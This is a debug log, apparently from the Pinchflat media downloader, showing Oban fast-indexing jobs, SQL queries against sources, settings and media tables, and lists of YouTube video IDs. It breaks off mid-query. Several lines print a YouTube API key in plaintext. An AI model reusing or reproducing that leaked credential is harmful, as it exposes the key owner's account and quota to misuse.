[5268221, 33, ~U[2026-10-09 21:25:00Z], ~U[2026-10-09 21:25:00Z]] 16:25:00.789 [info] {"args":{"id":33},"id":5268182,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":326306,"event":"job:stop","queue_time":718721,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:01.464 [info] {"args":{"id":39},"id":5268183,"meta":{},"system_time":1791581101464156590,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:01.464 [debug] QUERY OK source="sources" db=0.1ms idle=674.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 16:25:01.464 [debug] QUERY OK source="settings" db=0.1ms idle=674.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:01.464 [debug] QUERY OK source="media_profiles" db=0.1ms idle=668.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:25:01.465 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:01.465 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 16:25:01.465 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:01.465 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:25:01.663 [debug] QUERY OK source="media_items" db=0.7ms idle=197.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "bznw-B-Eni8", "swCwRxuotQk", "wdsG9aIz_n8", "-tUJmKUeo5U", "c5aS2Pb-pTA", "rmdT12aICmo", "LRyW70JurQI", "8S7t7Rs4i9c", "j3xZ_KvHC3s", "L56BzYHXQks", "rriUpocMals", "AHV3pCJf72U", "zFo5KWWKpAM", "X-ptuLzSUIY", "otXq2JuhqKo", "5bFFyLM4Maw", "3_ibraS5u6M", "MD21fnS-B54", "JrHd0DsoVkY", "54WRGYyHtsg", "6qpd9CRvtgE", "s62--fs7r_4", "0rBw9jkxTJ0", "SBnSoDzkQ4A", "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", ...] 16:25:01.664 [debug] QUERY OK source="media_items" db=0.3ms idle=199.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 16:25:01.665 [debug] QUERY OK source="tasks" db=0.1ms idle=199.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268222, 39, ~U[2026-10-09 21:25:01Z], ~U[2026-10-09 21:25:01Z]] 16:25:01.665 [info] {"args":{"id":39},"id":5268183,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":200995,"event":"job:stop","queue_time":301094,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:01.671 [info] {"args":{"id":46},"id":5268184,"meta":{},"system_time":1791581101671080709,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:01.671 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [46] 16:25:01.671 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:01.671 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:25:01.672 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:01.672 [debug] Fetching recent media IDs from YouTube API for playlist: UUKV7SrXQuG5LO2QccuioQWw 16:25:01.672 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:01.672 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:25:01.850 [debug] QUERY OK source="media_items" db=0.3ms idle=178.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [46, "icFef_JRy4A", "V0sEXDcU-c4", "ejUGtBNp2ZA", "ZAwlWBYdIhg", "bddSk5lgf0I", "t4z_nTvZEXA", "h-kC1jJsC8E", "99OgHfsunFQ", "7jRIplZwwpQ", "4mBje4mjDW4", "UqMjU_i26TE", "kvAnxFKIj7E", "GSOsUC9fNlc", "e2jEOwnWb-s", "6pI73pxVLdQ", "NZSCgJmc79k", "4lmd99XTwiM", "Pb69qX65QIU", "mi5mNBkvuB0", "U5xFZZdITSg"] 16:25:01.851 [debug] QUERY OK source="media_items" db=0.2ms idle=179.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [46] 16:25:01.852 [debug] QUERY OK source="tasks" db=0.1ms idle=179.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268223, 46, ~U[2026-10-09 21:25:01Z], ~U[2026-10-09 21:25:01Z]] 16:25:01.852 [info] {"args":{"id":46},"id":5268184,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":180992,"event":"job:stop","queue_time":299202,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:02.465 [info] {"args":{"id":47},"id":5268185,"meta":{},"system_time":1791581102465291022,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:02.465 [debug] QUERY OK source="sources" db=0.1ms idle=613.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [47] 16:25:02.465 [debug] QUERY OK source="settings" db=0.1ms idle=613.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:02.466 [debug] QUERY OK source="media_profiles" db=0.1ms idle=607.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:25:02.466 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:02.466 [debug] Fetching recent media IDs from YouTube API for playlist: UU1lIHn3KlcJimyxsVugP4uw 16:25:02.466 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:02.466 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:25:02.601 [debug] QUERY OK source="media_items" db=0.4ms idle=134.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [47, "cdxiIZ6FTqY", "DbahvHypjeY", "jLbN16TvulI", "j4T9p-Iks6Q", "5j16940siPE", "Bj9A6TqDSSU", "yfgkh4Fgw98", "bdtxmd8ze7E", "q6s8rDkwrL0", "_ofP3rrKcuo", "EFlhj7tAVnY", "UmKf8smvGsA", "Cny5CTOLBtI", "1OgN_qctcGs", "m6mHX9f35zk", "hJgGkRDyekU", "A_SVevmpmIM", "XwpIZNeom7Y", "SqZ3v24dw28", "SpJlSh8RUvk", "ouPiwt5hxXQ", "ESLvSeXIcJo", "x7AgrwuQXZk", "VxyFqBlIwyU", "qPKtGVU9Y10", "Yo6yes4TdCo", "yO683XvKseE", "SB_b4HvrJFU", "UyfMLlvVB7Y", "AtZcDqhVBpg", "XEMQ0LxowhY", "cf3ApBDljhY", "hSQNVKhQqOw", "j7CFpM67NYk", "Y5vbfJSSSuc", "DDmeqLEB9c0", "Etvlh10p-eM", "T-LegOd8Jxo", "1eH9jDiP4ow", "Ei00RFhIL4Y", "J7tpbs-slcs", "ZfqE2a7PHpE", "rBlS0Z-cbFU", "92w5doU68D8", "gg_tFb2ohx4", "yEJ4-BgybxY", "KPNPtdz-rz0", "775UbsSpL5I", "cC-JPXUZ0TQ", ...] 16:25:02.601 [debug] QUERY OK source="media_items" db=0.3ms idle=135.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [47] 16:25:02.602 [debug] QUERY OK source="tasks" db=0.1ms idle=136.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268224, 47, ~U[2026-10-09 21:25:02Z], ~U[2026-10-09 21:25:02Z]] 16:25:02.602 [info] {"args":{"id":47},"id":5268185,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":137426,"event":"job:stop","queue_time":392158,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:03.466 [info] {"args":{"id":32},"id":5268186,"meta":{},"system_time":1791581103466180979,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:03.466 [debug] QUERY OK source="sources" db=0.1ms idle=863.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 16:25:03.466 [debug] QUERY OK source="settings" db=0.1ms idle=863.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:03.466 [debug] QUERY OK source="media_profiles" db=0.1ms idle=857.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:25:03.467 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:03.467 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 16:25:03.467 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:03.467 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:25:03.944 [debug] QUERY OK source="media_items" db=0.7ms idle=477.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "GLkWix76LLw", "JlhWWbDHPxU", "RBiDfXovGLo", "f8J65wW7rE0", "LB6QsJdCw1A", "GoZLwFs6Sfg", "PiSBWV78oH8", "D1aE319wZOs", "tbZdOFfHeg4", "slACEQ5pHVk", "F6Oai7bV2u4", "61lJoY3MaKw", "cSGr5EAyajU", "47f9w0cIf5U", "i9fMtZPE8-M", "-TGByHolHgs", "fIDENmWZnAM", "e_zTC9SUkN4", "3m1kxhSo5UY", "G43sFXhmLZQ", "rQg-CvGYZ3c", "WV1XqLaMV9E", "rf1gu1YJnPY", "U0CB65oSyBc", "Fu1p90u_sPw", "_8IehW2r_ys", "uGc_xJ6PIiY", "v9nhfP8NX_0", "ZhnSeRzzCRk", "QA0KAbPiuUs", "m5z3Fd4Izso", "v27tD602_P4", "M4gaeD8-3s4", "VZt0GiFPKLc", "D1ATTh4axUA", "B8YW6V2qzyk", "YDcId2GbuL8", "OET_SOuMF4w", "Nxf92Vkq-vg", "A0v2A_vR8Jc", "IMKE7goli_8", "b5oqQc9awuc", "ed7V-kfgSGY", "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", ...] 16:25:03.946 [debug] QUERY OK source="media_items" db=1.2ms idle=478.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 16:25:03.947 [debug] QUERY OK source="tasks" db=0.1ms idle=480.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268225, 32, ~U[2026-10-09 21:25:03Z], ~U[2026-10-09 21:25:03Z]] 16:25:03.947 [info] {"args":{"id":32},"id":5268186,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":481278,"event":"job:stop","queue_time":986237,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:03.954 [info] {"args":{"id":24},"id":5268187,"meta":{},"system_time":1791581103954264641,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:03.954 [debug] QUERY OK source="sources" db=0.1ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", 